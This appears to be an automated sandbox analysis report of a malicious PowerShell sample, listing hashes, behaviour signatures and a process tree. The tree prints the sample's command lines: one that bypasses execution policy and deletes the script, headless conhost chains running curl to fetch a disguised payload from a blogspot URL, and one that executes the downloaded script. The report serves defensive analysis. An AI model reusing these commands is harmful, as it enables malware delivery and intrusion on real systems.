41975fcd05b025d4802d06efb76035927b69373c9f52433355abf865aeea5f14

Analysis

max time kernel
149s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/08/2026, 19:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
09c1d5_daff71a617d44a4d97aabcc50297863b.ps1
Size 13KB
Sample260826-ye7ncavfmc
SHA256 41975fcd05b025d4802d06efb76035927b69373c9f52433355abf865aeea5f14
MD5 52bd233637a078b5d2cb7bfbb500c288
SHA1 fd5411bc7317584a682cdfaee4ac3b457a034309
SHA512 f2acf5c43b2a70979cdb6202897ad79ccfe5057a26fdf62a58861ace5496ab056dcf274a54f982b5b0ebf751964ed1a2a65c7d1407eb5ba27835be0a7af31f23
SSDEEP 384:RJ1R1T2oTpM01KORZbpfrmwKgfuxded9OW:jAoTpM00TwKpvuV
TLSH
T12F528D92E483C25FBC1E693FF68D3E90A98A1EE7C8CC8A0751D8851D55F83B661056CA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1864	PowerShell.exe
3324	powershell.exe
4544	powershell.exe

Deletes itself 1 IoCs

pid	Process
4544	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1864	PowerShell.exe
1864	PowerShell.exe
1864	PowerShell.exe
1864	PowerShell.exe
1864	PowerShell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
3324	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1864	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	1864	PowerShell.exe
Token: SeSecurityPrivilege	1864	PowerShell.exe
Token: SeTakeOwnershipPrivilege	1864	PowerShell.exe
Token: SeLoadDriverPrivilege	1864	PowerShell.exe
Token: SeSystemProfilePrivilege	1864	PowerShell.exe
Token: SeSystemtimePrivilege	1864	PowerShell.exe
Token: SeProfSingleProcessPrivilege	1864	PowerShell.exe
Token: SeIncBasePriorityPrivilege	1864	PowerShell.exe
Token: SeCreatePagefilePrivilege	1864	PowerShell.exe
Token: SeBackupPrivilege	1864	PowerShell.exe
Token: SeRestorePrivilege	1864	PowerShell.exe
Token: SeShutdownPrivilege	1864	PowerShell.exe
Token: SeDebugPrivilege	1864	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	1864	PowerShell.exe
Token: SeRemoteShutdownPrivilege	1864	PowerShell.exe
Token: SeUndockPrivilege	1864	PowerShell.exe
Token: SeManageVolumePrivilege	1864	PowerShell.exe
Token: 33	1864	PowerShell.exe
Token: 34	1864	PowerShell.exe
Token: 35	1864	PowerShell.exe
Token: 36	1864	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	1864	PowerShell.exe
Token: SeSecurityPrivilege	1864	PowerShell.exe
Token: SeTakeOwnershipPrivilege	1864	PowerShell.exe
Token: SeLoadDriverPrivilege	1864	PowerShell.exe
Token: SeSystemProfilePrivilege	1864	PowerShell.exe
Token: SeSystemtimePrivilege	1864	PowerShell.exe
Token: SeProfSingleProcessPrivilege	1864	PowerShell.exe
Token: SeIncBasePriorityPrivilege	1864	PowerShell.exe
Token: SeCreatePagefilePrivilege	1864	PowerShell.exe
Token: SeBackupPrivilege	1864	PowerShell.exe
Token: SeRestorePrivilege	1864	PowerShell.exe
Token: SeShutdownPrivilege	1864	PowerShell.exe
Token: SeDebugPrivilege	1864	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	1864	PowerShell.exe
Token: SeRemoteShutdownPrivilege	1864	PowerShell.exe
Token: SeUndockPrivilege	1864	PowerShell.exe
Token: SeManageVolumePrivilege	1864	PowerShell.exe
Token: 33	1864	PowerShell.exe
Token: 34	1864	PowerShell.exe
Token: 35	1864	PowerShell.exe
Token: 36	1864	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	1864	PowerShell.exe
Token: SeSecurityPrivilege	1864	PowerShell.exe
Token: SeTakeOwnershipPrivilege	1864	PowerShell.exe
Token: SeLoadDriverPrivilege	1864	PowerShell.exe
Token: SeSystemProfilePrivilege	1864	PowerShell.exe
Token: SeSystemtimePrivilege	1864	PowerShell.exe
Token: SeProfSingleProcessPrivilege	1864	PowerShell.exe
Token: SeIncBasePriorityPrivilege	1864	PowerShell.exe
Token: SeCreatePagefilePrivilege	1864	PowerShell.exe
Token: SeBackupPrivilege	1864	PowerShell.exe
Token: SeRestorePrivilege	1864	PowerShell.exe
Token: SeShutdownPrivilege	1864	PowerShell.exe
Token: SeDebugPrivilege	1864	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	1864	PowerShell.exe
Token: SeRemoteShutdownPrivilege	1864	PowerShell.exe
Token: SeUndockPrivilege	1864	PowerShell.exe
Token: SeManageVolumePrivilege	1864	PowerShell.exe
Token: 33	1864	PowerShell.exe
Token: 34	1864	PowerShell.exe
Token: 35	1864	PowerShell.exe
Token: 36	1864	PowerShell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1864 wrote to memory of 4544	1864	PowerShell.exe	91
PID 4436 wrote to memory of 3324	4436	conhost.exe	94
PID 1612 wrote to memory of 4912	1612	conhost.exe	96
PID 4912 wrote to memory of 2516	4912	conhost.exe	97
PID 2516 wrote to memory of 3920	2516	conhost.exe	98
PID 3920 wrote to memory of 2616	3920	conhost.exe	99
PID 2616 wrote to memory of 5184	2616	conhost.exe	100
PID 5184 wrote to memory of 1932	5184	conhost.exe	101
PID 1932 wrote to memory of 2728	1932	conhost.exe	102
PID 2728 wrote to memory of 2940	2728	conhost.exe	103
PID 2940 wrote to memory of 4200	2940	conhost.exe	104
PID 4200 wrote to memory of 4424	4200	conhost.exe	105

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	7	curl/8.8.0
HTTP User-Agent header	12	curl/8.8.0

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\09c1d5_daff71a617d44a4d97aabcc50297863b.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Start-Sleep -Seconds 1; Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\09c1d5_daff71a617d44a4d97aabcc50297863b.ps1' -Force -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  PID:4544

C:\Windows\system32\conhost.exe
"conhost.exe" --headless powershell.exe -noprofile -ep bYpAsS -FILE "C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1"
1⤵
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -noprofile -ep bYpAsS -FILE C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3324

C:\Windows\system32\conhost.exe
"conhost.exe" conhost.exe conhost.exe conhost.exe conhost.exe --headless --headless conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
1⤵
- Suspicious use of WriteProcessMemory
PID:1612
- C:\Windows\system32\conhost.exe
  conhost.exe conhost.exe conhost.exe conhost.exe --headless --headless conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\system32\conhost.exe
    conhost.exe conhost.exe conhost.exe --headless --headless conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2516
  - - C:\Windows\system32\conhost.exe
      conhost.exe conhost.exe --headless --headless conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3920
    - - C:\Windows\system32\conhost.exe
        
        conhost.exe --headless --headless conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2616
      - C:\Windows\system32\conhost.exe
        
        conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5184
        
        C:\Windows\system32\conhost.exe
        
        conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1932
        
        C:\Windows\system32\conhost.exe
        
        conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2728
        
        C:\Windows\system32\conhost.exe
        
        conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:2940
        
        C:\Windows\system32\conhost.exe
        
        conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:4200
        
        C:\Windows\system32\curl.exe
        
        curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
        11⤵
        
        PID:4424

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2ae383b5c7b779e2dbeb0a4ca3ab01d70761b7446359882e2065ca53b1c222c5
MD5 62e66f095bc2da04660ff51c7b47b99a
SHA1 6a8d1de1d8d1da14dfbb7090b1c3cafe3f47c7d1
SHA512 d6012798bdd3702d7204810dd7dee9c01af6d9fc4501306db3e7b82985fef11ae501911e1dd811167381648a77ef5a182f0aa763e04de3c4ae67ae72f7405fcd
TLSH
T1C1218B37B3DD8614C89A413A10CDAC1036B6C7DB80DECFAB7B84E659A43F699CF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_x4r54b15.zr4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x4r54b15.zr4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1864-10-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-27-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-7-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-8-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-9-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-0-0x00007FFC6D72F000-0x00007FFC6D730000-memory.dmp

Download

memory/1864-11-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-12-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-16-0x000001D8E85B0000-0x000001D8E8662000-memory.dmp

Download

memory/1864-17-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-18-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-19-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-20-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-21-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-6-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-15-0x000001D8CFE90000-0x000001D8CFEAE000-memory.dmp

Download

memory/1864-22-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-24-0x000001D8E8330000-0x000001D8E834E000-memory.dmp

Download

memory/1864-25-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-23-0x000001D8CFE80000-0x000001D8CFE8A000-memory.dmp

Download

memory/1864-28-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-5-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/1864-4-0x000001D8CFE40000-0x000001D8CFE62000-memory.dmp

Download

memory/1864-3-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4544-33-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4544-35-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4544-36-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4544-37-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download

memory/4544-32-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

Download